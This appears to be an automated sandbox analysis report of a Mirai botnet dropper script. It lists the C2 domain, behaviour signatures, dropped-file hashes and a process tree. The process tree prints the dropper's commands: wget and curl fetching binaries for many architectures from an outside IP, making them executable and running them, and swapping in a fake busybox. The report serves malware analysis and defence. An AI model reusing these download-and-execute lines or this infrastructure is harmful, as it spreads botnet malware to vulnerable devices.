Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/11/2024, 02:58

General

  • Target
    71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh
  • Size 1KB
  • Sample241106-df6gfstcnf
  • SHA256 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • MIRAI

C2
  • net.igxhost.ru

Extracted

Family
  • mirai

Botnet
  • MIRAI

C2
  • net.igxhost.ru

Extracted

Family
  • mirai

Botnet
  • MIRAI

C2
  • net.igxhost.ru

Extracted

Family
  • mirai

Botnet
  • MIRAI

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (22872) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 22 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh
    /tmp/71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh
    1⤵
    • Writes file to tmp directory
    PID:639
    • /usr/bin/wget
      wget http://5.59.248.145//IGz.x86
      2⤵
      • Writes file to tmp directory
      PID:641
    • /usr/bin/curl
      curl -O http://5.59.248.145//IGz.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:663
    • /bin/cat
      cat IGz.x86
      2⤵
        PID:671
      • /bin/chmod
        chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh cp IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
        2⤵
        • File and Directory Permissions Modification
        PID:672
      • /tmp/cp
        ./cp x86
        2⤵
        • Executes dropped EXE
        PID:673
      • /usr/bin/wget
        wget http://5.59.248.145//IGz.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:675
      • /usr/bin/curl
        curl -O http://5.59.248.145//IGz.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:680
      • /bin/cat
        cat IGz.mips
        2⤵
        • System Network Configuration Discovery
        PID:697
      • /bin/chmod
        chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh cp IGz.mips IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
        2⤵
        • File and Directory Permissions Modification
        PID:698
      • /tmp/cp
        ./cp mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:700
      • /usr/bin/wget
        wget http://5.59.248.145//IGz.mpsl
        2⤵
        • Writes file to tmp directory
        PID:702
      • /usr/bin/curl
        curl -O http://5.59.248.145//IGz.mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:714
      • /bin/cat
        cat IGz.mpsl
        2⤵
          PID:727
        • /bin/chmod
          chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh cp IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/cp
          ./cp mpsl
          2⤵
          • Executes dropped EXE
          PID:729
        • /usr/bin/wget
          wget http://5.59.248.145//IGz.arm
          2⤵
          • Writes file to tmp directory
          PID:732
        • /usr/bin/curl
          curl -O http://5.59.248.145//IGz.arm
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:733
        • /bin/cat
          cat IGz.arm
          2⤵
            PID:748
          • /bin/chmod
            chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh cp IGz.arm IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/cp
            ./cp arm
            2⤵
            • Executes dropped EXE
            • Changes its process name
            PID:750
            • /bin/sh
              sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv ./cp bin/busybox; chmod 777 bin/busybox"
              3⤵
              • File and Directory Permissions Modification
              • Writes file to tmp directory
              PID:751
              • /bin/rm
                rm -rf bin/busybox
                4⤵
                  PID:753
                • /bin/mkdir
                  mkdir bin
                  4⤵
                  • Reads runtime system information
                  PID:754
                • /bin/mv
                  mv ./cp bin/busybox
                  4⤵
                  • Reads runtime system information
                  PID:757
                • /bin/chmod
                  chmod 777 bin/busybox
                  4⤵
                  • File and Directory Permissions Modification
                  PID:759
            • /usr/bin/wget
              wget http://5.59.248.145//IGz.arm5
              2⤵
              • Writes file to tmp directory
              PID:761
            • /usr/bin/curl
              curl -O http://5.59.248.145//IGz.arm5
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:774
            • /bin/cat
              cat IGz.arm5
              2⤵
                PID:776
              • /bin/chmod
                chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
                2⤵
                • File and Directory Permissions Modification
                PID:777
              • /tmp/cp
                ./cp arm5
                2⤵
                • Executes dropped EXE
                PID:778
              • /usr/bin/wget
                wget http://5.59.248.145//IGz.arm6
                2⤵
                • Writes file to tmp directory
                PID:779
              • /usr/bin/curl
                curl -O http://5.59.248.145//IGz.arm6
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:780
              • /bin/cat
                cat IGz.arm6
                2⤵
                  PID:781
                • /bin/chmod
                  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:782
                • /tmp/cp
                  ./cp arm6
                  2⤵
                  • Executes dropped EXE
                  PID:783
                • /usr/bin/wget
                  wget http://5.59.248.145//IGz.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:784
                • /usr/bin/curl
                  curl -O http://5.59.248.145//IGz.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:785
                • /bin/cat
                  cat IGz.arm7
                  2⤵
                    PID:786
                  • /bin/chmod
                    chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.arm7 IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:787
                  • /tmp/cp
                    ./cp arm7
                    2⤵
                    • Executes dropped EXE
                    PID:788
                  • /usr/bin/wget
                    wget http://5.59.248.145//IGz.ppc
                    2⤵
                      PID:789
                    • /usr/bin/curl
                      curl -O http://5.59.248.145//IGz.ppc
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:790
                    • /bin/cat
                      cat IGz.ppc
                      2⤵
                        PID:791
                      • /bin/chmod
                        chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.arm7 IGz.mips IGz.mpsl IGz.ppc IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
                        2⤵
                        • File and Directory Permissions Modification
                        PID:792
                      • /tmp/cp
                        ./cp ppc
                        2⤵
                        • Executes dropped EXE
                        PID:793
                      • /usr/bin/wget
                        wget http://5.59.248.145//IGz.m68k
                        2⤵
                        • Writes file to tmp directory
                        PID:794
                      • /usr/bin/curl
                        curl -O http://5.59.248.145//IGz.m68k
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:795
                      • /bin/cat
                        cat IGz.m68k
                        2⤵
                          PID:796
                        • /bin/chmod
                          chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.arm7 IGz.m68k IGz.mips IGz.mpsl IGz.ppc IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
                          2⤵
                          • File and Directory Permissions Modification
                          PID:797
                        • /tmp/cp
                          ./cp m68k
                          2⤵
                          • Executes dropped EXE
                          PID:798
                        • /usr/bin/wget
                          wget http://5.59.248.145//IGz.sh4
                          2⤵
                          • Writes file to tmp directory
                          PID:800
                        • /usr/bin/curl
                          curl -O http://5.59.248.145//IGz.sh4
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:801
                        • /bin/cat
                          cat IGz.sh4
                          2⤵
                            PID:802
                          • /bin/chmod
                            chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.arm7 IGz.m68k IGz.mips IGz.mpsl IGz.ppc IGz.sh4 IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:803
                          • /tmp/cp
                            ./cp sh4
                            2⤵
                            • Executes dropped EXE
                            PID:805

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              IGz.x86

                              • Path /tmp/IGz.x86
                              • Size 76KB
                              • SHA256 f7ed8e2213e04a9c56951e75f1ea2477824329d3a0d63ff21e69584030a23c82
                              • MD5 SHA1 SHA512 SSDEEP

                              cp

                              • Path /tmp/cp
                              • Size 98KB
                              • SHA256 5447f2b26bb8a2448b87397377384997f6b47dc76fae46d880bac8a95997c575
                              • MD5 SHA1 SHA512 SSDEEP

                              cp

                              • Path /tmp/cp
                              • Size 99KB
                              • SHA256 3757016e59b9a06aa3353270ff9d98e4f786b7603501dd6b8361f5c8da779d1d
                              • MD5 SHA1 SHA512 SSDEEP

                              cp

                              • Path /tmp/cp
                              • Size 81KB
                              • SHA256 e82b2a3478570c1db8e2a8a0690369be8e34a9654b8279baa045664c22c68739
                              • MD5 SHA1 SHA512 SSDEEP

                              cp

                              • Path /tmp/cp
                              • Size 77KB
                              • SHA256 8ba12b36040b340cdf7f9f8842256aaf68f83c8e45cd70d77c9ea4760c5062e7
                              • MD5 SHA1 SHA512 SSDEEP

                              cp

                              • Path /tmp/cp
                              • Size 164KB
                              • SHA256 bd30ea9335bf4425cd6d7b95334c39ed70cb5d69d1c19a6c4a32c9ebac21511e
                              • MD5 SHA1 SHA512 SSDEEP